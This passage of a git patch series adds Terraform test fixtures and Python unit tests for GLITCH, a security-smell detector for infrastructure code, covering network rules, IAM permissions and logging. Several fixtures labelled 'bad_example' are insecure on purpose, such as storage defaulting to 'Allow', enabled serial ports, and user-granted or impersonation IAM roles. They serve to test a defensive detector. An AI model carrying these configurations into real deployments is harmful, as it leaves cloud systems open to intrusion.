b/glitch/tests/security/terraform/files/network-security-rules/azure-storage-default-action-deny.tf @@ -0,0 +1,51 @@ +resource "azurerm_storage_account_network_rules" "bad_example" { + ip_rules = ["127.0.0.1"] + virtual_network_subnet_ids = [azurerm_subnet.test.id] + bypass = ["Metrics"] +} + +resource "azurerm_storage_account_network_rules" "bad_example2" { + default_action = "Allow" + ip_rules = ["127.0.0.1"] + virtual_network_subnet_ids = [azurerm_subnet.test.id] + bypass = ["Metrics"] +} + +resource "azurerm_storage_account_network_rules" "good_example" { + default_action = "Deny" + ip_rules = ["127.0.0.1"] + virtual_network_subnet_ids = [azurerm_subnet.test.id] + bypass = ["Metrics"] +} + +resource "azurerm_storage_account" "bad_example" { + queue_properties { + logging { + delete = true + read = true + write = true + } + } +} + +resource "azurerm_storage_account_customer_managed_key" "managed_key_good" { + storage_account_id = azurerm_storage_account.bad_example.id +} + +resource "azurerm_storage_account" "good_example" { + network_rules { + default_action = "Deny" + } + + queue_properties { + logging { + delete = true + read = true + write = true + } + } +} + +resource "azurerm_storage_account_customer_managed_key" "managed_key_good" { + storage_account_id = azurerm_storage_account.good_example.id +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/network-security-rules/azure-synapse-virtual-network-enabled.tf b/glitch/tests/security/terraform/files/network-security-rules/azure-synapse-virtual-network-enabled.tf new file mode 100644 index 00000000..9c5e0cca --- /dev/null +++ b/glitch/tests/security/terraform/files/network-security-rules/azure-synapse-virtual-network-enabled.tf @@ -0,0 +1,10 @@ +resource "azurerm_synapse_workspace" "bad_example" { +} + +resource "azurerm_synapse_workspace" "bad_example2" { + managed_virtual_network_enabled = false +} + +resource "azurerm_synapse_workspace" "good_example" { + managed_virtual_network_enabled = true +} diff --git a/glitch/tests/security/terraform/files/network-security-rules/google-compute-no-serial-port.tf b/glitch/tests/security/terraform/files/network-security-rules/google-compute-no-serial-port.tf new file mode 100644 index 00000000..4632f774 --- /dev/null +++ b/glitch/tests/security/terraform/files/network-security-rules/google-compute-no-serial-port.tf @@ -0,0 +1,37 @@ +resource "google_compute_instance" "bad_example" { + metadata = { + block-project-ssh-keys = true + serial-port-enable = true + } + service_account { + email = google_service_account.default.email + } + boot_disk { + kms_key_self_link = "something" + } +} + +resource "google_compute_instance" "good_example" { + metadata = { + block-project-ssh-keys = true + } + service_account { + email = google_service_account.default.email + } + boot_disk { + kms_key_self_link = "somethingg" + } +} + +resource "google_compute_instance" "good_example2" { + metadata = { + block-project-ssh-keys = true + serial-port-enable = false + } + service_account { + email = google_service_account.default.email + } + boot_disk { + kms_key_self_link = "somethinggg" + } +} diff --git a/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-ip-aliasing.tf b/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-ip-aliasing.tf new file mode 100644 index 00000000..32dceef0 --- /dev/null +++ b/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-ip-aliasing.tf @@ -0,0 +1,31 @@ +resource "google_container_cluster" "bad_example" { + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + network_policy { + enabled = true + } + enable_legacy_abac = false +} + +resource "google_container_cluster" "good_example" { + ip_allocation_policy {} + + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + network_policy { + enabled = true + } + enable_legacy_abac = false +} diff --git a/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-network-policy.tf b/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-network-policy.tf new file mode 100644 index 00000000..096da6da --- /dev/null +++ b/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-network-policy.tf @@ -0,0 +1,46 @@ +resource "google_container_cluster" "bad_example" { + ip_allocation_policy {} + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + enable_legacy_abac = false +} + +resource "google_container_cluster" "bad_example2" { + network_policy { + enabled = false + } + + ip_allocation_policy {} + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + enable_legacy_abac = false +} + +resource "google_container_cluster" "good_example" { + network_policy { + enabled = true + } + + ip_allocation_policy {} + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + enable_legacy_abac = false +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 5aa7549f..8d1041b4 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -728,6 +728,43 @@ def test_terraform_key_management(self): 2, ["sec_key_management", "sec_key_management"], [9, 47] ) + def test_terraform_network_security_rules(self): + self.__help_test( + "tests/security/terraform/files/network-security-rules/aws-vpc-ec2-use-tcp.tf", + 1, ["sec_network_security_rules"], [2] + ) + self.__help_test( + "tests/security/terraform/files/network-security-rules/azure-container-configured-network-policy.tf", + 2, ["sec_network_security_rules", "sec_network_security_rules"], [1, 15] + ) + self.__help_test( + "tests/security/terraform/files/network-security-rules/azure-network-disable-rdp-from-internet.tf", + 2, ["sec_network_security_rules", "sec_network_security_rules"], [8, 32] + ) + self.__help_test( + "tests/security/terraform/files/network-security-rules/azure-network-ssh-blocked-from-internet.tf", + 2, ["sec_network_security_rules", "sec_network_security_rules"], [8, 32] + ) + self.__help_test( + "tests/security/terraform/files/network-security-rules/azure-storage-default-action-deny.tf", + 3, ["sec_network_security_rules", "sec_network_security_rules", "sec_network_security_rules"], [1, 8, 21] + ) + self.__help_test( + "tests/security/terraform/files/network-security-rules/azure-synapse-virtual-network-enabled.tf", + 2, ["sec_network_security_rules", "sec_network_security_rules"], [1, 5] + ) + self.__help_test( + "tests/security/terraform/files/network-security-rules/google-compute-no-serial-port.tf", + 1, ["sec_network_security_rules"], [4] + ) + self.__help_test( + "tests/security/terraform/files/network-security-rules/google-gke-enable-ip-aliasing.tf", + 1, ["sec_network_security_rules"], [1] + ) + self.__help_test( + "tests/security/terraform/files/network-security-rules/google-gke-enable-network-policy.tf", + 2, ["sec_network_security_rules", "sec_network_security_rules"], [1, 16] + ) if __name__ == '__main__': unittest.main() \ No newline at end of file From 98397ad420aca7f20e6de043538cef2c319d2b90 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Mon, 3 Apr 2023 12:10:32 +0100 Subject: [PATCH 32/58] Tests for Terraform: Permission of IAM policies code smell. --- ...ervice-account-not-used-at-folder-level.tf | 17 ++++++++++ ...-account-not-used-at-organization-level.tf | 17 ++++++++++ ...rvice-account-not-used-at-project-level.tf | 17 ++++++++++ ...der-level-service-account-impersonation.tf | 9 +++++ ...ion-level-service-account-impersonation.tf | 9 +++++ ...ect-level-service-account-impersonation.tf | 9 +++++ .../google-iam-no-user-granted-permissions.tf | 15 ++++++++ ...licies-attached-only-to-groups-or-roles.tf | 28 +++++++++++++++ .../tests/security/terraform/test_security.py | 34 +++++++++++++++++++ 9 files changed, 155 insertions(+) create mode 100644 glitch/tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-folder-level.tf create mode 100644 glitch/tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-organization-level.tf create mode 100644 glitch/tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-project-level.tf create mode 100644 glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-folder-level-service-account-impersonation.tf create mode 100644 glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-organization-level-service-account-impersonation.tf create mode 100644 glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-project-level-service-account-impersonation.tf create mode 100644 glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-user-granted-permissions.tf create mode 100644 glitch/tests/security/terraform/files/permission-of-iam-policies/iam-policies-attached-only-to-groups-or-roles.tf diff --git a/glitch/tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-folder-level.tf b/glitch/tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-folder-level.tf new file mode 100644 index 00000000..b3be9cda --- /dev/null +++ b/glitch/tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-folder-level.tf @@ -0,0 +1,17 @@ +resource "google_folder_iam_member" "bad_example" { + folder = "folder-123" + role = "roles/whatever" + member = "123-compute@developer.gserviceaccount.comm" +} + +resource "google_folder_iam_member" "bad_example2" { + folder = "folder-123" + role = "roles/whatever" + member = "123@appspot.gserviceaccount.com" +} + +resource "google_folder_iam_member" "good_example" { + folder = "folder-123" + role = "roles/whatever" + member = "123@something.com" +} diff --git a/glitch/tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-organization-level.tf b/glitch/tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-organization-level.tf new file mode 100644 index 00000000..84871d09 --- /dev/null +++ b/glitch/tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-organization-level.tf @@ -0,0 +1,17 @@ +resource "google_organization_iam_member" "bad_example" { + org_id = "your-org-id" + role = "roles/whatever" + member = "123-compute@developer.gserviceaccount.comm" +} + +resource "google_organization_iam_member" "bad_example2" { + org_id = "your-org-id" + role = "roles/whatever" + member = "123@appspot.gserviceaccount.com" +} + +resource "google_organization_iam_member" "good_example" { + org_id = "your-org-id" + role = "roles/whatever" + member = "123@something.com" +} diff --git a/glitch/tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-project-level.tf b/glitch/tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-project-level.tf new file mode 100644 index 00000000..f6b4c956 --- /dev/null +++ b/glitch/tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-project-level.tf @@ -0,0 +1,17 @@ +resource "google_project_iam_member" "bad_example" { + project = "project-123" + role = "roles/whatever" + member = "123-compute@developer.gserviceaccount.comm" +} + +resource "google_project_iam_member" "bad_example2" { + project = "project-123" + role = "roles/whatever" + member = "123@appspot.gserviceaccount.com" +} + +resource "google_project_iam_member" "good_example" { + project = "project-123" + role = "roles/whatever" + member = "123@something.com" +} diff --git a/glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-folder-level-service-account-impersonation.tf b/glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-folder-level-service-account-impersonation.tf new file mode 100644 index 00000000..8fc257ec --- /dev/null +++ b/glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-folder-level-service-account-impersonation.tf @@ -0,0 +1,9 @@ +resource "google_folder_iam_binding" "bad_example" { + folder = "folder-123" + role = "roles/iam.serviceAccountUser" +} + +resource "google_folder_iam_binding" "good_example" { + folder = "folder-123" + role = "roles/nothingInParticular" +} diff --git a/glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-organization-level-service-account-impersonation.tf b/glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-organization-level-service-account-impersonation.tf new file mode 100644 index 00000000..7bba4ca6 --- /dev/null +++ b/glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-organization-level-service-account-impersonation.tf @@ -0,0 +1,9 @@ +resource "google_organization_iam_binding" "bad_example" { + org_id = "org-123" + role = "roles/iam.serviceAccountUser" +} + +resource "google_organization_iam_binding" "good_example" { + org_id = "org-123" + role = "roles/nothingInParticular" +} diff --git a/glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-project-level-service-account-impersonation.tf b/glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-project-level-service-account-impersonation.tf new file mode 100644 index 00000000..a2c042c8 --- /dev/null +++ b/glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-project-level-service-account-impersonation.tf @@ -0,0 +1,9 @@ +resource "google_project_iam_binding" "bad_example" { + project = "project-123" + role = "roles/iam.serviceAccountUser" +} + +resource "google_project_iam_binding" "good_example" { + project = "project-123" + role = "roles/nothingInParticular" +} diff --git a/glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-user-granted-permissions.tf b/glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-user-granted-permissions.tf new file mode 100644 index 00000000..a9331c4e --- /dev/null +++ b/glitch/tests/security/terraform/files/permission-of-iam-policies/google-iam-no-user-granted-permissions.tf @@ -0,0 +1,15 @@ +resource "google_project_iam_binding" "bad_example" { + members = ["user:test@example.com"] +} + +resource "google_project_iam_member" "bad_example" { + member = "user:test@example.com" +} + +resource "google_project_iam_binding" "good_example" { + members = ["group:test@example.com"] +} + +resource "google_project_iam_member" "good_example" { + member = "group:test@example.com" +} diff --git a/glitch/tests/security/terraform/files/permission-of-iam-policies/iam-policies-attached-only-to-groups-or-roles.tf b/glitch/tests/security/terraform/files/permission-of-iam-policies/iam-policies-attached-only-to-groups-or-roles.tf new file mode 100644 index 00000000..ef666447 --- /dev/null +++ b/glitch/tests/security/terraform/files/permission-of-iam-policies/iam-policies-attached-only-to-groups-or-roles.tf @@ -0,0 +1,28 @@ +resource "aws_iam_user" "jim" { + name = "jim" +} + +resource "aws_iam_user_policy" "bad_example" { + name = "test" + user = aws_iam_user.jim.name +} + +resource "aws_iam_group" "developers" { + name = "developers" + path = "/users/" +} + +resource "aws_iam_group_membership" "devteam" { + name = "developers-team" + + users = [ + aws_iam_user.jim.name, + ] + + group = aws_iam_group.developers.name +} + +resource "aws_iam_group_policy" "good_example" { + name = "test" + group = aws_iam_group.developers.name +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 8d1041b4..19d9ad67 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -766,5 +766,39 @@ def test_terraform_network_security_rules(self): 2, ["sec_network_security_rules", "sec_network_security_rules"], [1, 16] ) + def test_terraform_permission_of_iam_policies(self): + self.__help_test( + "tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-folder-level.tf", + 2, ["sec_permission_iam_policies", "sec_permission_iam_policies"], [4, 10] + ) + self.__help_test( + "tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-organization-level.tf", + 2, ["sec_permission_iam_policies", "sec_permission_iam_policies"], [4, 10] + ) + self.__help_test( + "tests/security/terraform/files/permission-of-iam-policies/default-service-account-not-used-at-project-level.tf", + 2, ["sec_permission_iam_policies", "sec_permission_iam_policies"], [4, 10] + ) + self.__help_test( + "tests/security/terraform/files/permission-of-iam-policies/google-iam-no-folder-level-service-account-impersonation.tf", + 1, ["sec_permission_iam_policies"], [3] + ) + self.__help_test( + "tests/security/terraform/files/permission-of-iam-policies/google-iam-no-organization-level-service-account-impersonation.tf", + 1, ["sec_permission_iam_policies"], [3] + ) + self.__help_test( + "tests/security/terraform/files/permission-of-iam-policies/google-iam-no-project-level-service-account-impersonation.tf", + 1, ["sec_permission_iam_policies"], [3] + ) + self.__help_test( + "tests/security/terraform/files/permission-of-iam-policies/google-iam-no-user-granted-permissions.tf", + 2, ["sec_permission_iam_policies", "sec_permission_iam_policies"], [2, 6] + ) + self.__help_test( + "tests/security/terraform/files/permission-of-iam-policies/iam-policies-attached-only-to-groups-or-roles.tf", + 1, ["sec_permission_iam_policies"], [7] + ) + if __name__ == '__main__': unittest.main() \ No newline at end of file From 2fd50f9b0462bfc24602661f59be5f27011ab4a7 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Mon, 3 Apr 2023 14:03:10 +0100 Subject: [PATCH 33/58] Tests for Terraform: Logging code smell. --- glitch/configs/default.ini | 3 +- .../aws-api-gateway-enable-access-logging.tf | 38 ++++++ .../logging/aws-api-gateway-enable-tracing.tf | 25 ++++ .../logging/aws-cloudfront-enable-logging.tf | 37 ++++++ .../aws-cloudtrail-enable-log-validation.tf | 23 ++++ ...loudtrail-ensure-cloudwatch-integration.tf | 23 ++++ .../aws-documentdb-enable-log-export.tf | 25 ++++ .../aws-eks-enable-control-plane-logging.tf | 42 ++++++ ...ws-elastic-search-enable-domain-logging.tf | 68 ++++++++++ .../logging/aws-lambda-enable-tracing.tf | 14 ++ .../logging/aws-mq-enable-audit-logging.tf | 19 +++ .../logging/aws-mq-enable-general-logging.tf | 19 +++ .../files/logging/aws-msk-enable-logging.tf | 88 +++++++++++++ .../logging/aws-neptune-enable-log-export.tf | 18 +++ .../aws-rds-enable-performance-insights.tf | 18 +++ .../logging/aws-s3-enable-bucket-logging.tf | 54 ++++++++ .../azure-container-aks-logging-configured.tf | 38 ++++++ ...zure-monitor-activity-log-retention-set.tf | 21 +++ .../azure-monitor-capture-all-activities.tf | 26 ++++ .../azure-mssql-database-enable-audit.tf | 13 ++ ...erver-and-database-retention-period-set.tf | 24 ++++ .../azure-mssql-server-enable-audit.tf | 16 +++ .../azure-network-retention-policy-set.tf | 16 +++ ...ure-postgres-configuration-enabled-logs.tf | 27 ++++ ...-storage-queue-services-logging-enabled.tf | 47 +++++++ ...atch-log-group-specifies-retention-days.tf | 13 ++ .../google-compute-enable-vpc-flow-logs.tf | 10 ++ .../google-gke-enable-stackdriver-logging.tf | 51 +++++++ ...oogle-gke-enable-stackdriver-monitoring.tf | 51 +++++++ .../logging/google-sql-database-log-flags.tf | 109 +++++++++++++++ ...bled-for-blob-service-for-read-requests.tf | 114 ++++++++++++++++ .../tests/security/terraform/test_security.py | 124 ++++++++++++++++++ 32 files changed, 1213 insertions(+), 1 deletion(-) create mode 100644 glitch/tests/security/terraform/files/logging/aws-api-gateway-enable-access-logging.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-api-gateway-enable-tracing.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-cloudfront-enable-logging.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-cloudtrail-enable-log-validation.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-cloudtrail-ensure-cloudwatch-integration.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-documentdb-enable-log-export.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-eks-enable-control-plane-logging.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-elastic-search-enable-domain-logging.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-lambda-enable-tracing.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-mq-enable-audit-logging.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-mq-enable-general-logging.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-msk-enable-logging.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-neptune-enable-log-export.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-rds-enable-performance-insights.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-s3-enable-bucket-logging.tf create mode 100644 glitch/tests/security/terraform/files/logging/azure-container-aks-logging-configured.tf create mode 100644 glitch/tests/security/terraform/files/logging/azure-monitor-activity-log-retention-set.tf create mode 100644 glitch/tests/security/terraform/files/logging/azure-monitor-capture-all-activities.tf create mode 100644 glitch/tests/security/terraform/files/logging/azure-mssql-database-enable-audit.tf create mode 100644 glitch/tests/security/terraform/files/logging/azure-mssql-server-and-database-retention-period-set.tf create mode 100644 glitch/tests/security/terraform/files/logging/azure-mssql-server-enable-audit.tf create mode 100644 glitch/tests/security/terraform/files/logging/azure-network-retention-policy-set.tf create mode 100644 glitch/tests/security/terraform/files/logging/azure-postgres-configuration-enabled-logs.tf create mode 100644 glitch/tests/security/terraform/files/logging/azure-storage-queue-services-logging-enabled.tf create mode 100644 glitch/tests/security/terraform/files/logging/ensure-cloudwatch-log-group-specifies-retention-days.tf create mode 100644 glitch/tests/security/terraform/files/logging/google-compute-enable-vpc-flow-logs.tf create mode 100644 glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-logging.tf create mode 100644 glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-monitoring.tf create mode 100644 glitch/tests/security/terraform/files/logging/google-sql-database-log-flags.tf create mode 100644 glitch/tests/security/terraform/files/logging/storage-logging-enabled-for-blob-service-for-read-requests.tf diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 9438e2df..19d56abc 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -366,7 +366,8 @@ permission_iam_policies = [{"au_type": ["resource.google_project_iam_member", "r "required": "no", "logic": "diff"}] logging = [{"au_type": ["resource.aws_cloudwatch_log_group"], "attribute": "retention_in_days", "parents": [""], - "values": ["any_not_empty"], "required": "yes", "msg": "retention_in_days"}, + "values": ["1", "3", "5", "7", "14", "30", "60", "90", "120", "150", "180", "365", "400", "545", "731", "1827", "3653"], + "required": "yes", "msg": "retention_in_days"}, {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], "values": [""], "required": "yes", "msg": "queue_properties.logging.delete"}, {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], diff --git a/glitch/tests/security/terraform/files/logging/aws-api-gateway-enable-access-logging.tf b/glitch/tests/security/terraform/files/logging/aws-api-gateway-enable-access-logging.tf new file mode 100644 index 00000000..3491b467 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-api-gateway-enable-access-logging.tf @@ -0,0 +1,38 @@ +resource "aws_apigatewayv2_stage" "bad_example" { +} + +resource "aws_api_gateway_stage" "bad_example" { + xray_tracing_enabled = true +} + +resource "aws_apigatewayv2_stage" "bad_example2" { + access_log_settings { + destination_arn = "" + format = "json" + } +} + +resource "aws_api_gateway_stage" "bad_example2" { + access_log_settings { + destination_arn = "" + format = "json" + } + + xray_tracing_enabled = true +} + +resource "aws_apigatewayv2_stage" "good_example" { + access_log_settings { + destination_arn = "arn:aws:logs:region:0123456789:log-group:access_logging" + format = "json" + } +} + +resource "aws_api_gateway_stage" "good_example" { + access_log_settings { + destination_arn = "arn:aws:logs:region:0123456789:log-group:access_logging" + format = "json" + } + + xray_tracing_enabled = true +} diff --git a/glitch/tests/security/terraform/files/logging/aws-api-gateway-enable-tracing.tf b/glitch/tests/security/terraform/files/logging/aws-api-gateway-enable-tracing.tf new file mode 100644 index 00000000..e3e73e55 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-api-gateway-enable-tracing.tf @@ -0,0 +1,25 @@ +resource "aws_api_gateway_stage" "bad_example" { + access_log_settings { + destination_arn = "arn:aws:logs:region:0123456789:log-group:access_logging" + format = "json" + } +} + +resource "aws_api_gateway_stage" "bad_example2" { + xray_tracing_enabled = false + + access_log_settings { + destination_arn = "arn:aws:logs:region:0123456789:log-group:access_logging" + format = "json" + } +} + + +resource "aws_api_gateway_stage" "good_example" { + xray_tracing_enabled = true + + access_log_settings { + destination_arn = "arn:aws:logs:region:0123456789:log-group:access_logging" + format = "json" + } +} diff --git a/glitch/tests/security/terraform/files/logging/aws-cloudfront-enable-logging.tf b/glitch/tests/security/terraform/files/logging/aws-cloudfront-enable-logging.tf new file mode 100644 index 00000000..aec343e6 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-cloudfront-enable-logging.tf @@ -0,0 +1,37 @@ +resource "aws_cloudfront_distribution" "bad_example" { + web_acl_id = "waf_id" + default_cache_behavior { + viewer_protocol_policy = "redirect-to-https" + } + viewer_certificate { + minimum_protocol_version = "tlsv1.2_2021" + } +} + +resource "aws_cloudfront_distribution" "bad_example2" { + logging_config { + bucket = "" + } + + web_acl_id = "waf_id" + default_cache_behavior { + viewer_protocol_policy = "redirect-to-https" + } + viewer_certificate { + minimum_protocol_version = "tlsv1.2_2021" + } +} + +resource "aws_cloudfront_distribution" "good_example" { + logging_config { + bucket = "mylogs.s3.amazonaws.com" + } + + web_acl_id = "waf_id" + default_cache_behavior { + viewer_protocol_policy = "redirect-to-https" + } + viewer_certificate { + minimum_protocol_version = "tlsv1.2_2021" + } +} diff --git a/glitch/tests/security/terraform/files/logging/aws-cloudtrail-enable-log-validation.tf b/glitch/tests/security/terraform/files/logging/aws-cloudtrail-enable-log-validation.tf new file mode 100644 index 00000000..09262086 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-cloudtrail-enable-log-validation.tf @@ -0,0 +1,23 @@ +resource "aws_cloudtrail" "bad_example" { + kms_key_id = var.kms_id + cloud_watch_logs_group_arn = "${aws_cloudwatch_log_group.example.arn}:*" +} + +resource "aws_cloudtrail" "bad_example2" { + enable_log_file_validation = false + + kms_key_id = var.kms_id + cloud_watch_logs_group_arn = "${aws_cloudwatch_log_group.example.arn}:*" +} + +resource "aws_cloudtrail" "good_example" { + enable_log_file_validation = true + + kms_key_id = var.kms_id + cloud_watch_logs_group_arn = "${aws_cloudwatch_log_group.example.arn}:*" +} + +resource "aws_cloudwatch_log_group" "example" { + kms_key_id = aws_kms_key.log_key.arn + retention_in_days = 90 +} diff --git a/glitch/tests/security/terraform/files/logging/aws-cloudtrail-ensure-cloudwatch-integration.tf b/glitch/tests/security/terraform/files/logging/aws-cloudtrail-ensure-cloudwatch-integration.tf new file mode 100644 index 00000000..cfc52ceb --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-cloudtrail-ensure-cloudwatch-integration.tf @@ -0,0 +1,23 @@ +resource "aws_cloudtrail" "bad_example" { + enable_log_file_validation = true + kms_key_id = var.kms_id +} + +resource "aws_cloudtrail" "bad_example2" { + cloud_watch_logs_group_arn = "${aws_cloudwatch_log_group.example2.arn}:*" + + enable_log_file_validation = true + kms_key_id = var.kms_id +} + +resource "aws_cloudtrail" "good_example" { + cloud_watch_logs_group_arn = "${aws_cloudwatch_log_group.example.arn}:*" + + enable_log_file_validation = true + kms_key_id = var.kms_id +} + +resource "aws_cloudwatch_log_group" "example" { + kms_key_id = aws_kms_key.log_key.arn + retention_in_days = 90 +} diff --git a/glitch/tests/security/terraform/files/logging/aws-documentdb-enable-log-export.tf b/glitch/tests/security/terraform/files/logging/aws-documentdb-enable-log-export.tf new file mode 100644 index 00000000..d1eefefa --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-documentdb-enable-log-export.tf @@ -0,0 +1,25 @@ +resource "aws_docdb_cluster" "bad_example" { + kms_key_id = aws_kms_key.docdb_encryption.arn + storage_encrypted = true +} + +resource "aws_docdb_cluster" "bad_example2" { + enabled_cloudwatch_logs_exports = ["some"] + + kms_key_id = aws_kms_key.docdb_encryption.arn + storage_encrypted = true +} + +resource "aws_docdb_cluster" "good_example" { + enabled_cloudwatch_logs_exports = ["audit"] + + kms_key_id = aws_kms_key.docdb_encryption.arn + storage_encrypted = true +} + +resource "aws_docdb_cluster" "good_example2" { + enabled_cloudwatch_logs_exports = ["something", "profiler"] + + kms_key_id = aws_kms_key.docdb_encryption.arn + storage_encrypted = true +} diff --git a/glitch/tests/security/terraform/files/logging/aws-eks-enable-control-plane-logging.tf b/glitch/tests/security/terraform/files/logging/aws-eks-enable-control-plane-logging.tf new file mode 100644 index 00000000..4f5ef8d2 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-eks-enable-control-plane-logging.tf @@ -0,0 +1,42 @@ +resource "aws_eks_cluster" "bad_example" { + encryption_config { + resources = ["secrets"] + provider { + key_arn = "something" + } + } + vpc_config { + endpoint_public_access = false + public_access_cidrs = ["10.2.0.0/8"] + } +} + +resource "aws_eks_cluster" "bad_example2" { + enabled_cluster_log_types = ["api", "authenticator", "audit", "scheduler", "something"] + + encryption_config { + resources = ["secrets"] + provider { + key_arn = "something" + } + } + vpc_config { + endpoint_public_access = false + public_access_cidrs = ["10.2.0.0/8"] + } +} + +resource "aws_eks_cluster" "good_example" { + enabled_cluster_log_types = ["api", "authenticator", "audit", "scheduler", "controllerManager"] + + encryption_config { + resources = ["secrets"] + provider { + key_arn = "something" + } + } + vpc_config { + endpoint_public_access = false + public_access_cidrs = ["10.2.0.0/8"] + } +} diff --git a/glitch/tests/security/terraform/files/logging/aws-elastic-search-enable-domain-logging.tf b/glitch/tests/security/terraform/files/logging/aws-elastic-search-enable-domain-logging.tf new file mode 100644 index 00000000..0e38e20b --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-elastic-search-enable-domain-logging.tf @@ -0,0 +1,68 @@ +resource "aws_elasticsearch_domain" "bad_example" { + domain_endpoint_options { + enforce_https = true + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + encrypt_at_rest { + enabled = true + } + node_to_node_encryption { + enabled = true + } +} + +resource "aws_elasticsearch_domain" "bad_example2" { + log_publishing_options { + cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn + log_type = "something" + } + + domain_endpoint_options { + enforce_https = true + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + encrypt_at_rest { + enabled = true + } + node_to_node_encryption { + enabled = true + } +} + +resource "aws_elasticsearch_domain" "bad_example3" { + log_publishing_options { + cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn + log_type = "AUDIT_LOGS" + enabled = false + } + + domain_endpoint_options { + enforce_https = true + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + encrypt_at_rest { + enabled = true + } + node_to_node_encryption { + enabled = true + } +} + +resource "aws_elasticsearch_domain" "good_example" { + log_publishing_options { + cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn + log_type = "AUDIT_LOGS" + enabled = true + } + + domain_endpoint_options { + enforce_https = true + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + encrypt_at_rest { + enabled = true + } + node_to_node_encryption { + enabled = true + } +} diff --git a/glitch/tests/security/terraform/files/logging/aws-lambda-enable-tracing.tf b/glitch/tests/security/terraform/files/logging/aws-lambda-enable-tracing.tf new file mode 100644 index 00000000..08375b76 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-lambda-enable-tracing.tf @@ -0,0 +1,14 @@ +resource "aws_lambda_function" "bad_example" { +} + +resource "aws_lambda_function" "bad_example2" { + 